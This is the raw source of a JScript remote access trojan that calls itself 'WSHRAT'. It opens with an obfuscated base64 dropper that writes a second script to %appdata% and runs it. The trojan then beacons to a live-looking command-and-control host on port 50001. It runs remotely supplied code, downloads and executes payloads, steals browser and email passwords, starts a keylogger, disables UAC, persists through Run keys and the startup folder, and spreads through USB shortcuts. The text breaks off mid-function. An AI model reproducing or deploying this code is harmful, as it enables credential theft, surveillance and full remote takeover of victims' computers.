MGdiMkpxZDIxcGMyVnlkbWxqWlM1RmVHVmpVWFZsY25rb0luTmxiR1ZqZEMtPkBxSUdaeWIyMGdkMmx1TXpKZmNISnZZMlZ6Y3lJc2JuVnNiQ3cwT0NrN0NncG1iM0lvZG1GeUlHWnBJRDBnYm1WM0lFVnVkVzFsY21GMGIzSW9ZMjlzYVhSbGJYTXBPeS0+QGhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDaS0+QGdJQ0IyWVhJZ2IySnFhWFJsYlMtPkA5SUdacExtbDBaVzBvS1RzS0NXVndJRDBnWlgtPkBnS3lCdlltcHBkR1Z0TG01aGJXVWdLeS0+QGlYaUk3Q2dsbGNDLT5AOUlHVndJQ3NnYjJKcWFYUmxiUzV3Y205alpYTnpTV1FnS3ktPkBpWGlJN0NpLT5AZ0lDQmxjQy0+QDlJR1Z3SUNzZ2IySnFhWFJsYlM1bGVHVmpkWFJoWW14bFVHRjBhQy0+QHJJSE53YkdsMFpYSTdDbjBLZldOaGRHTm9LR1Z5S1h0OUNuSmxkSFZ5YmlCbGNEc0tmUW9LWm5WdVkzUnBiMjRnWlhocGRIQnliMk5sYzNNZ0tIQnBaQ2w3Q25SeWVYc0tjMmhsYkd4dlltb3VjblZ1S0NKMFlYTnJhMmxzYkMtPkB2UmktPkB2VkMtPkB2VUVsRUlDSWdLeUJ3YVdRc01DeDBjblZsS1RzS2ZXTmhkR05vS0dWeWNpbDdmUXA5Q2dwbWRXNWpkR2x2YmlCblpYUlFZWEpsYm5SRWFYSmxZM1J2Y25rb2NHRjBhQ2w3Q2dsMllYSWdabThnUFNCbWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVacGJHVW9jR0YwYUNrN0NnbHlaWFIxY200Z1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSUVlYSmxiblJHYjJ4a1pYSk9ZVzFsS0dadktUc0tmUW9LWm5WdVkzUnBiMjRnWlc1MWJXWmhaaS0+QG9aVzUxYldScGNpbDdDaS0+QGdJQ0IyWVhJZ2NtVWdQUy0+QGlJanNLZEhKNWV3b2dJQy0+QGdabTl5S0haaGNpQm1hUy0+QDlJRzVsZHlCRmJuVnRaWEpoZEc5eUtHWnBiR1Z6ZVhOMFpXMXZZbW91WjJWMFJtOXNaR1Z5SUNobGJuVnRaR2x5S1M1emRXSm1iMnhrWlhKektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUMtPkBnSUMtPkBnSUhaaGNpQm1iMnhrWlhJZ1BTQm1hUzVwZEdWdEtDazdDaS0+QGdJQy0+QGdJQy0+QGdjbVVnUFNCeVpTLT5AcklHWnZiR1JsY2k1dVlXMWxJQ3NnSWw1ZVpGNGlJQ3NnWm05c1pHVnlMbUYwZEhKcFluVjBaWE1nS3lCemNHeHBkR1Z5T3ktPkBLSUMtPkBnSUgwS0lDLT5AZ0lHWnZjaWgyWVhJZ1pta2dQU0J1WlhjZ1JXNTFiV1Z5WVhSdmNpaG1hV3hsYzNsemRHVnRiMkpxTG1kbGRFWnZiR1JsY2ktPkBvWlc1MWJXUnBjaWt1Wm1sc1pYTXBPeS0+QGhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDaS0+QGdJQy0+QGdJQy0+QGdkbUZ5SUdacGJHVWdQU0JtYVM1cGRHVnRLQ2s3Q2ktPkBnSUMtPkBnSUMtPkBnY21VZ1BTQnlaUy0+QHJJR1pwYkdVdWJtRnRaUy0+QHJJQ0plSWktPkBySUdacGJHVXVjMmw2WlMtPkBySUNKZUlpLT5AcklHWnBiR1V1WVhSMGNtbGlkWFJsY3ktPkBySUhOd2JHbDBaWEk3SS0+QG9nSUMtPkBnZlFwOVkyRjBZMmdvWlhKeUtYdDlDbkpsZEhWeWJpQnlaVHNLZlE9PSIucmVwbGFjZShyZWcuZWVwLCAiQSIpOwoJfSwKCWNvbExlY1RlWFQ6IGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMub2RvR1dVKHRoaXMuVE9CRVkoIi0+QCIpKTt9Cn0KCmZ1bmN0aW9uIGxlZ2VuREFSWShhZnJNQUdpLCB3cnVpbkUsIGZpciwgc2VjKXsKCXRyeXsgCgkJd3J1aW5FLldyaXRlKGZvclRZbVBIWzFdKTsKCQl3cnVpbkUuUG9zaXRpb24gPSAwOwoJCXdydWluRS5UeXBlID0gKGZpciAqIHNlYyk7CgkJd3J1aW5FLkNoYXJTZXQgPSAidXMtYXNjaWkiOwoJCWZvclRZbVBIW2Zpcl0gPSBldmFsOwoJCWZvclRZbVBIW2ZpciAqIDBdID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIlN5c3RlbS5UZXh0LiIgKyBpbnNjaXNzb1JBUy5vYnNlclZFQVQoMykpLmdldFN0cmluZygoYWZyTUFHaSkpOwoJfWNhdGNoKGVyKXsKCQlmb3JUWW1QSFtzZWMgKiAwXSA9IHdydWluRS5SZWFkVGV4dCgpOwoJfQp9CgpmdW5jdGlvbiB5b3VOR1NUZWFyKGRiLGFkbyl7Cgl0cnl7CgkJYWRvLlR5cGUgPSAxOwoJCWFkby5PcGVuKCk7CgkJbGVnZW5EQVJZKGhlTFBNRUdvZChudWxsLCB7dHlwOiBpbnNjaXNzb1JBUy5vYnNlclZFQVQoMil9LCBicnVJU0VTKSwgYWRvLCAyLDEpCgkJcmV0dXJuIGdhc1NUT1ZFLlJpY2hURUEuZ29nbzsKCX1jYXRjaChleCl7CgkJZm9yVFltUEhbMl0oZm9yVFltUEhbMF0pOwoJfQp9Cgp5b3VOR1NUZWFyKG51bGwsIFdTY3JpcHQuQ3JlYXRlT2JqZWN0KGluc2Npc3NvUkFTLm9ic2VyVkVBVCgwKSkpOw==\";\r\nvar wshShell1 = WScript.CreateObject(\"WScript.Shell\");\r\nvar appdatadir1 = wshShell1.ExpandEnvironmentStrings(\"%appdata%\");\r\nvar stubpath1 = appdatadir1 + \"\\\\tCWhffcbXR.js\";\r\nvar decoded1 = decodeBase64(longText1);\r\nwriteBytes(stubpath1, decoded1);\r\nwshShell1.run(\"wscript //B \\\"\" + stubpath1 + \"\\\"\");\r\ncatch(er)\r\nfunction writeBytes(file, bytes)\r\ntry\r\nvar binaryStream = WScript.CreateObject(\"ADODB.Stream\");\r\nbinaryStream.Type = 1;\r\nbinaryStream.Open();\r\nbinaryStream.Write(bytes);\r\nbinaryStream.SaveToFile(file, 2);\r\ncatch(err)\r\n\r\n\r\nfunction decodeBase64(base64)\r\nvar DM = WScript.CreateObject(\"Microsoft.XMLDOM\");\r\nvar EL = DM.createElement(\"tmp\");\r\nEL.dataType = \"bin.base64\";\r\nEL.text = base64;\r\nreturn EL.nodeTypedValue;\r\n\r\nwshShell1 = null;\r\nvar host = \"mikelsonallen300.duckdns.org\";\r\nvar port = 50001;\r\nvar installdir = \"%appdata%\";\r\nvar runAsAdmin = false;\r\nvar lnkfile = true;\r\nvar lnkfolder = true;\r\nif(runAsAdmin == true)\r\nstartupElevate();\r\n\r\nif(WScript.Arguments.Named.Exists(\"elevated\") == true)\r\ndisableSecurity();\r\n\r\nvar shellobj = WScript.createObject(\"wscript.shell\");\r\nvar filesystemobj = WScript.createObject(\"scripting.filesystemobject\");\r\nvar httpobj = WScript.createObject(\"msxml2.xmlhttp\");\r\nvar installname = WScript.scriptName;\r\nvar startup = shellobj.specialFolders(\"startup\") + \"\\\\\";\r\ninstalldir = shellobj.ExpandEnvironmentStrings(installdir) + \"\\\\\";\r\nif(!filesystemobj.folderExists(installdir)) installdir = shellobj.ExpandEnvironmentStrings(\"%temp%\") + \"\\\\\";\r\nvar spliter = \"|\";\r\nvar sleep = 5000;\r\nvar response, cmd, param, oneonce;\r\nvar inf = \"\";\r\nvar usbspreading = \"\";\r\nvar startdate = \"\";\r\ninstance();\r\nwhile(true)\r\ntry\r\ninstall();\r\nresponse = \"\";\r\nresponse = post (\"is-ready\",\"\");\r\ncmd = response.split(spliter);\r\nswitch(cmd0)\r\ncase \"disconnect\":\r\nWScript.quit();\r\nbreak;\r\ncase \"reboot\":\r\nshellobj.run(\"%comspec% /c shutdown /r /t 0 /f\", 0, true);\r\nbreak;\r\ncase \"shutdown\":\r\nshellobj.run(\"%comspec% /c shutdown /s /t 0 /f\", 0, true);\r\nbreak;\r\ncase \"excecute\":\r\nparam = cmd1;\r\neval(param);\r\nbreak;\r\ncase \"get-pass\":\r\npassgrabber(cmd1, \"cmdc.exe\", cmd2);\r\nbreak;\r\ncase \"get-pass-offline\":\r\npassgrabber2(cmd1, \"cmdc.exe\", cmd2);\r\nbreak;\r\ncase \"update\":\r\nparam = response.substr(response.indexOf(\"|\") + 1);\r\noneonce.close();\r\noneonce = filesystemobj.openTextFile(installdir + installname ,2, false);\r\noneonce.write(param);\r\noneonce.close();\r\nshellobj.run(\"wscript.exe //B \\\"\" + installdir + installname + \"\\\"\");\r\nupdatestatus(\"Updated\");\r\nWScript.quit();\r\ncase \"uninstall\":\r\nuninstall();\r\nbreak;\r\ncase \"up-n-exec\":\r\ndownload(cmd1,cmd2);\r\nbreak;\r\ncase \"bring-log\":\r\nupload(installdir + \"wshlogs\\\\\" + cmd1, \"take-log\");\r\nbreak;\r\ncase \"down-n-exec\":\r\nsitedownloader(cmd1,cmd2);\r\nbreak;\r\ncase \"filemanager\":\r\nservicestarter(cmd1, \"fm-plugin.exe\", information());\r\nbreak;\r\ncase \"rdp\":\r\nservicestarter(cmd1, \"rd-plugin.exe\", information());\r\nbreak;\r\ncase \"keylogger\":\r\nkeyloggerstarter(cmd1, \"kl-plugin.exe\", information(), 0);\r\nbreak;\r\ncase \"offline-keylogger\":\r\nkeyloggerstarter(cmd1, \"kl-plugin.exe\", information(), 1);\r\nbreak;\r\ncase \"browse-logs\":\r\npost(\"is-logs\", enumfaf(installdir + \"wshlogs\"));\r\nbreak;\r\ncase \"cmd-shell\":\r\nparam = cmd1;\r\npost(\"is-cmd-shell\",cmdshell(param));\r\nbreak;\r\ncase \"get-processes\":\r\npost(\"is-processes\", enumprocess());\r\nbreak;\r\ncase \"disable-uac\":\r\ndisableSecurity();\r\nupdatestatus(\"UAC+Disabled+(Reboot+Required)\");\r\nbreak;\r\ncase \"check-eligible\":\r\nif(filesystemobj.fileExists(cmd1))\r\nupdatestatus(\"Is+Eligible\");\r\nelse\r\nupdatestatus(\"Not+Eligible\");\r\n\r\nbreak;\r\ncase \"force-eligible\":\r\nif(WScript.Arguments.Named.Exists(\"elevated\") == true)\r\nif(filesystemobj.folderExists(cmd1))\r\nshellobj.run(\"%comspec% /c \" + cmd2, 0, true);\r\nupdatestatus(\"SUCCESS\");\r\nelse\r\nupdatestatus(\"Component+Missing\");\r\n\r\n\r\nelse\r\nupdatestatus(\"Elevation+Required\");\r\n\r\nbreak;\r\ncase \"elevate\":\r\nif(WScript.Arguments.Named.Exists(\"elevated\") == false)\r\ntry\r\noneonce.close();\r\noneonce = null;\r\nWScript.CreateObject(\"Shell.Application\").ShellExecute(\"wscript.exe\", \" //B \\\"\" + WScript.ScriptFullName + \"\\\" /elevated\", \"\", \"runas\", 1);\r\nupdatestatus(\"Client+Elevated\");\r\ncatch(nn)\r\n\r\nWScript.quit();\r\n\r\nelse\r\nupdatestatus(\"Client+Elevated\");\r\n\r\nbreak;\r\ncase \"if-elevate\":\r\nif(WScript.Arguments.Named.Exists(\"elevated\") == false)\r\nupdatestatus(\"Client+Not+Elevated\");\r\n\r\nelse\r\nupdatestatus(\"Client+Elevated\");\r\n\r\nbreak;\r\ncase \"kill-process\":\r\nexitprocess(cmd1);\r\nbreak;\r\ncase \"sleep\":\r\nparam = cmd1;\r\nsleep = eval(param);\r\nbreak;\r\n\r\ncatch(er)\r\nWScript.sleep(sleep);\r\n\r\nfunction install()\r\nvar lnkobj;\r\nvar filename;\r\nvar foldername;\r\nvar fileicon;\r\nvar foldericon;\r\nupstart();\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext())\r\nvar drive = dri.item();\r\nif (drive.isready == true)\r\nif (drive.freespace > 0 )\r\nif (drive.drivetype == 1 )\r\ntry\r\nfilesystemobj.copyFile(WScript.scriptFullName , drive.path + \"\\\\\" + installname,true);\r\nif (filesystemobj.fileExists (drive.path + \"\\\\\" + installname))\r\nfilesystemobj.getFile(drive.path + \"\\\\\" + installname).attributes = 2+4;\r\n\r\ncatch(eiju)\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + \"\\\\\").files); !fi.atEnd(); fi.moveNext())\r\ntry\r\nvar file = fi.item();\r\nif (lnkfile == false)break;\r\nif (file.name.indexOf(\".\"))\r\nif ((file.name.split(\".\")file.name.split(\".\").length - 1).toLowerCase() != \"lnk\")\r\nfile.attributes = 2+4;\r\nif (file.name.toUpperCase() != installname.toUpperCase())\r\nfilename = file.name.split(\".\");\r\nlnkobj = shellobj.createShortcut(drive.path + \"\\\\\" + filename0 + \".lnk\");\r\nlnkobj.windowStyle = 7;\r\nlnkobj.targetPath = \"cmd.exe\";\r\nlnkobj.workingDirectory = \"\";\r\nlnkobj.arguments = \"/c start \" + installname.replace(new RegExp(\" \", \"g\"), \"\\\" \\\"\") + \"&start \" + file.name.replace(new RegExp(\" \", \"g\"), \"\\\" \\\"\") +\"&exit\";\r\ntryfileicon = shellobj.RegRead (\"HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\\" + shellobj.RegRead (\"HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\.\" + file.name.split(\".\")file.name.split(\".\").length - 1+ \"\\\\\") + \"\\\\defaulticon\\\\\"); catch(eeee)\r\nif (fileicon.indexOf(\",\") == 0)\r\nlnkobj.iconLocation = file.path;\r\nelse \r\nlnkobj.iconLocation = fileicon;\r\n\r\nlnkobj.save();\r\n\r\n\r\n\r\ncatch(err)\r\n\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + \"\\\\\").subFolders); !fi.atEnd(); fi.moveNext())\r\ntry\r\nvar folder = fi.item();\r\nif (lnkfolder == false)break;\r\nfolder.attributes = 2+4;\r\nfoldername = folder.name;\r\nlnkobj = shellobj.createShortcut(drive.path + \"\\\\\" + foldername + \".lnk\");\r\nlnkobj.windowStyle = 7;\r\nlnkobj.targetPath = \"cmd.exe\";\r\nlnkobj.workingDirectory = \"\";\r\nlnkobj.arguments = \"/c start \" + installname.replace(new RegExp(\" \", \"g\"), \"\\\" \\\"\") + \"&start explorer \" + folder.name.replace(new RegExp(\" \", \"g\"), \"\\\" \\\"\") +\"&exit\";\r\nfoldericon = shellobj.RegRead(\"HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\folder\\\\defaulticon\\\\\");\r\nif (foldericon.indexOf(\",\") == 0)\r\nlnkobj.iconLocation = folder.path;\r\nelse \r\nlnkobj.iconLocation = foldericon;\r\n\r\nlnkobj.save();\r\ncatch(err)\r\n\r\n\r\n\r\n\r\n\r\n\r\nfunction startupElevate()\r\nif(WScript.Arguments.Named.Exists(\"elevated\") == false)\r\ntry\r\nWScript.CreateObject(\"Shell.Application\").ShellExecute(\"wscript.exe\", \" //B \\\"\" + WScript.ScriptFullName + \"\\\" /elevated\", \"\", \"runas\", 1);\r\ncatch(nn)\r\n\r\nWScript.quit();\r\n\r\n\r\nfunction disableSecurity()\r\nif(WScript.Arguments.Named.Exists(\"elevated\") == true)\r\nvar oReg = GetObject(\"winmgmts:impersonationLevel=impersonate!\\\\\\\\.\\\\root\\\\default:StdRegProv\");\r\noReg.SetDwordValue(0x80000002,\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\",\"EnableLUA\", 0);\r\noReg.SetDwordValue(0x80000002,\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\",\"ConsentPromptBehaviorAdmin\", 0);\r\noReg = null;\r\n\r\n\r\nfunction uninstall()\r\ntry\r\nvar filename;\r\nvar foldername;\r\ntry\r\nshellobj.RegDelete(\"HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\\" + installname.split(\".\")0);\r\nshellobj.RegDelete(\"HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\\" + installname.split(\".\")0);\r\ncatch(ei)\r\ntry\r\nfilesystemobj.deleteFile(startup + installname ,true);\r\nfilesystemobj.deleteFile(WScript.scriptFullName ,true);\r\ncatch(eej)\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext())\r\nvar drive = dri.item();\r\nif (drive.isready == true)\r\nif (drive.freespace > 0 )\r\nif (drive.drivetype == 1 )\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + \"\\\\\").files); !fi.atEnd(); fi.moveNext())\r\nvar file = fi.item();\r\ntry\r\nif (file.name.indexOf(\".\"))\r\nif ((file.name.split(\".\")file.name.split(\".\").length - 1).toLowerCase() != \"lnk\")\r\nfile.attributes = 0;\r\nif (file.name.toUpperCase() != installname.toUpperCase())\r\nfilename = file.name.split(\".\");\r\nfilesystemobj.deleteFile(drive.path + \"\\\\\" + filename0 + \".lnk\" );\r\nelse\r\nfilesystemobj.deleteFile(drive.path + \"\\\\\" + file.name);\r\n\r\nelse\r\nfilesystemobj.deleteFile (file.path);\r\n\r\n\r\ncatch(ex)\r\n\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + \"\\\\\").subFolders); !fi.atEnd(); fi.moveNext())\r\nvar folder = fi.item();\r\nfolder.attributes = 0;\r\n\r\n\r\n\r\n\r\n\r\ncatch(err)\r\nWScript.quit();\r\n\r\nfunction post (cmd ,param)\r\ntry\r\nhttpobj.open(\"post\",\"http://\" + host + \":\" + port +\"/\" + cmd, false);\r\nhttpobj.setRequestHeader(\"user-agent:\",information());\r\nhttpobj.send(param);\r\nreturn httpobj.responseText;\r\ncatch(err)\r\nreturn \"\";\r\n\r\n\r\nfunction information()\r\ntry\r\nif (inf == \"\")\r\ninf = hwid() + spliter;\r\ninf = inf + shellobj.ExpandEnvironmentStrings(\"%computername%\") + spliter ;\r\ninf = inf + shellobj.ExpandEnvironmentStrings(\"%username%\") + spliter;\r\nvar root = GetObject(\"winmgmts:impersonationlevel=impersonate!\\\\\\\\.\\\\root\\\\cimv2\");\r\nvar os = root.ExecQuery (\"select * from win32_operatingsystem\");\r\nfor(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext())\r\nvar osinfo = fi.item();\r\ninf = inf + osinfo.caption + spliter;\r\nbreak;\r\n\r\ninf = inf + \"plus\" + spliter;\r\ninf = inf + security() + spliter;\r\ninf = inf + usbspreading;\r\ninf = \"WSHRAT\" + spliter + inf + spliter + \"JavaScript-v1.3\" ;\r\nreturn inf;\r\nelse\r\nreturn inf;\r\n\r\ncatch(err)\r\nreturn \"\";\r\n\r\n\r\nfunction upstart ()\r\ntry\r\ntry\r\nshellobj.RegWrite(\"HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\\" + installname.split(\".\")0, \"wscript.exe //B \\\"\" + installdir + installname + \"\\\"\" , \"REG_SZ\");\r\nshellobj.RegWrite(\"HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\\" + installname.split(\".\")0, \"wscript.exe //B \\\"\" + installdir + installname + \"\\\"\" , \"REG_SZ\");\r\ncatch(ei)\r\nfilesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);\r\nfilesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);\r\ncatch(err)\r\n\r\nfunction hwid()\r\ntry\r\nvar root = GetObject(\"winmgmts:impersonationLevel=impersonate!\\\\\\\\.\\\\root\\\\cimv2\");\r\nvar disks = root.ExecQuery (\"select * from win32_logicaldisk\");\r\nfor(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext())\r\nvar disk = fi.item();\r\nif (disk.volumeSerialNumber != \"\")\r\nreturn disk.volumeSerialNumber;\r\nbreak;\r\n\r\n\r\ncatch(err)\r\nreturn \"\";\r\n\r\n\r\nfunction security()\r\ntry\r\nvar objwmiservice = GetObject(\"winmgmts:impersonationlevel=impersonate!\\\\\\\\.\\\\root\\\\cimv2\");\r\nvar colitems = objwmiservice.ExecQuery(\"select * from win32_operatingsystem\",null,48);\r\nvar versionstr, osversion;\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext())\r\nvar objitem = fi.item();\r\nversionstr = objitem.version.toString().split(\".\");\r\n\r\nosversion = versionstr0 + \".\";\r\nfor (var x = 1; x < versionstr.length; x++)\r\nosversion = osversion + versionstr0;\r\n\r\nosversion = eval(osversion);\r\nvar sc;\r\nif (osversion > 6) sc = \"securitycenter2\"; else sc = \"securitycenter\";\r\nvar objsecuritycenter = GetObject(\"winmgmts:\\\\\\\\localhost\\\\root\\\\\" + sc);\r\nvar colantivirus = objsecuritycenter.ExecQuery(\"select * from antivirusproduct\", \"wql\", 0);\r\nvar secu = \"\";\r\nfor(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext())\r\nvar objantivirus = fi.item();\r\nsecu = secu + objantivirus.displayName + \" .\";\r\n\r\nif(secu == \"\")secu = \"nan-av\";\r\nreturn secu;\r\ncatch(err)\r\n\r\nfunction getDate()\r\nvar s = \"\";\r\nvar d = new Date();\r\ns += d.getDate() + \"/\";\r\ns += (d.getMonth() + 1) + \"/\";\r\ns += d.getYear();\r\nreturn s;\r\n\r\nfunction instance()\r\ntry\r\ntry\r\nusbspreading = shellobj.RegRead(\"HKEY_LOCAL_MACHINE\\\\software\\\\\" + installname.split(\".\")0 + \"\\\\\");\r\ncatch(eee)\r\nif(usbspreading == \"\")\r\nif (WScript.scriptFullName.substr(1).toLowerCase() == \":\\\\\" + installname.toLowerCase())\r\nusbspreading = \"true - \" + getDate();\r\ntryshellobj.RegWrite(\"HKEY_LOCAL_MACHINE\\\\software\\\\\" + installname.split(\".\")0 + \"\\\\\", usbspreading, \"REG_SZ\");catch(eeeee)\r\nelse\r\nusbspreading = \"false - \" + getDate();\r\ntryshellobj.RegWrite(\"HKEY_LOCAL_MACHINE\\\\software\\\\\" + installname.split(\".\")0 + \"\\\\\", usbspreading, \"REG_SZ\");catch(eeeee)\r\n\r\n\r\nupstart();\r\nvar scriptfullnameshort = filesystemobj.getFile(WScript.scriptFullName);\r\nvar installfullnameshort = filesystemobj.getFile(installdir + installname);\r\nif (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase())\r\nshellobj.run(\"wscript.exe //B \\\"\" + installdir + installname + \"\\\"\");\r\nWScript.quit();\r\n\r\noneonce = filesystemobj.openTextFile(installdir + installname ,8, false);\r\ncatch(err)\r\nWScript.quit();\r\n\r\n\r\nfunction passgrabber (fileurl, filename, retcmd)\r\nshellobj.run(\"%comspec% /c taskkill /F /IM \" + filename, 0, true);\r\ntryfilesystemobj.deleteFile(installdir + filename + \"data\");catch(ey)\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(\".\")) + \".cfg\";\r\nvar cfg = \"General\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0\";\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(\"msxml2.xmlhttp\");\r\nobjhttpdownload.open(\"get\", strlink, false);\r\nobjhttpdownload.setRequestHeader(\"cache-control:\", \"max-age=0\");\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(\"scripting.filesystemobject\");\r\nif(objfsodownload.fileExists(strsaveto))\r\nobjfsodownload.deleteFile(strsaveto);\r\n\r\nif (objhttpdownload.status == 200)\r\ntry\r\nvar objstreamdownload = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\ncatch(ez)\r\nupdatestatus(\"Access+Denied\");\r\n\r\n\r\nif(objfsodownload.fileExists(strsaveto))\r\nvar runner = WScript.CreateObject(\"Shell.Application\");\r\nvar saver = objfsodownload.getFile(strsaveto).shortPath;\r\nfor(var i=0; i<5; i++)\r\nshellobj.run(\"%comspec% /c taskkill /F /IM \" + filename, 0, true);\r\nWScript.sleep(1000);\r\nrunner.shellExecute(saver, \" /stext \" + saver + \"data\");\r\nWScript.sleep(5000);\r\nif(objfsodownload.fileExists(saver + \"data\"))\r\nvar outpath = installdir + \"wshlogs\\\\recovered_password_backup.log\";\r\nvar folder = objfsodownload.GetParentFolderName(outpath);\r\nif (!objfsodownload.FolderExists(folder))\r\n\r\nshellobj.run(\"%comspec% /c mkdir \\\"\" + folder + \"\\\"\", 0, true);\r\n\r\nobjfsodownload.copyFile(saver + \"data\", outpath, true);\r\nbreak;\r\n\r\n\r\ndeletefaf(strsaveto);\r\nupload(saver + \"data\", retcmd);\r\n\r\n\r\nfunction passgrabber2(fileurl, filename, fileurl2)\r\nfor(var h=0; h<2; h++)\r\nshellobj.run(\"%comspec% /c taskkill /F /IM \" + filename, 0, true);\r\ntryfilesystemobj.deleteFile(installdir + filename + \"data\");catch(ey)\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(\".\")) + \".cfg\";\r\nvar cfg = \"General\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0\";\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\nvar strlink = fileurl;\r\nif(h == 1)strlink = fileurl2;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(\"msxml2.xmlhttp\");\r\nobjhttpdownload.open(\"get\", strlink, false);\r\nobjhttpdownload.setRequestHeader(\"cache-control:\", \"max-age=0\");\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(\"scripting.filesystemobject\");\r\nif(objfsodownload.fileExists(strsaveto))\r\nobjfsodownload.deleteFile(strsaveto);\r\n\r\nif (objhttpdownload.status == 200)\r\nvar objstreamdownload = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n\r\nif(objfsodownload.fileExists(strsaveto))\r\nvar runner = WScript.CreateObject(\"Shell.Application\");\r\nvar saver = objfsodownload.getFile(strsaveto).shortPath\r\nfor(var i=0; i<5; i++)\r\nshellobj.run(\"%comspec% /c taskkill /F /IM \" + filename, 0, true);\r\nWScript.sleep(1000);\r\nrunner.shellExecute(saver, \" /stext \" + saver + \"data\");\r\nWScript.sleep(2000);\r\nif(objfsodownload.fileExists(saver + \"data\"))\r\nvar objstreamuploade = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamuploade.Type = 2;\r\nobjstreamuploade.Open();\r\nobjstreamuploade.loadFromFile(saver + \"data\");\r\nvar buffer = objstreamuploade.ReadText();\r\nobjstreamuploade.close();\r\nvar outpath = installdir + \"wshlogs\\\\recovered_password_browser.log\";\r\nif(h == 1)outpath = installdir + \"wshlogs\\\\recovered_password_email.log\";\r\nvar folder = objfsodownload.GetParentFolderName(outpath);\r\nif (!objfsodownload.FolderExists(folder))\r\n\r\nshellobj.run(\"%comspec% /c mkdir \\\"\" + folder + \"\\\"\", 0, true);\r\n\r\nwriter = filesystemobj.openTextFile(outpath, 2, true);\r\nwriter.write(buffer);\r\nwriter.close();\r\nwriter = null;\r\nbreak;\r\n\r\n\r\ndeletefaf(strsaveto);\r\n\r\n\r\n\r\nfunction keyloggerstarter (fileurl, filename, filearg, is_offline)\r\nshellobj.run(\"%comspec% /c taskkill /F /IM \" + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(\"msxml2.xmlhttp\" );\r\nobjhttpdownload.open(\"get\", strlink, false);\r\nobjhttpdownload.setRequestHeader(\"cache-control:\", \"max-age=0\");\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(\"scripting.filesystemobject\");\r\nif(objfsodownload.fileExists(strsaveto))\r\nobjfsodownload.deleteFile(strsaveto);\r\n\r\nif (objhttpdownload.status == 200)\r\ntry\r\nvar objstreamdownload = WScript.CreateObject(\"adodb.stream\");\r\nobjstreamdownload.Type = 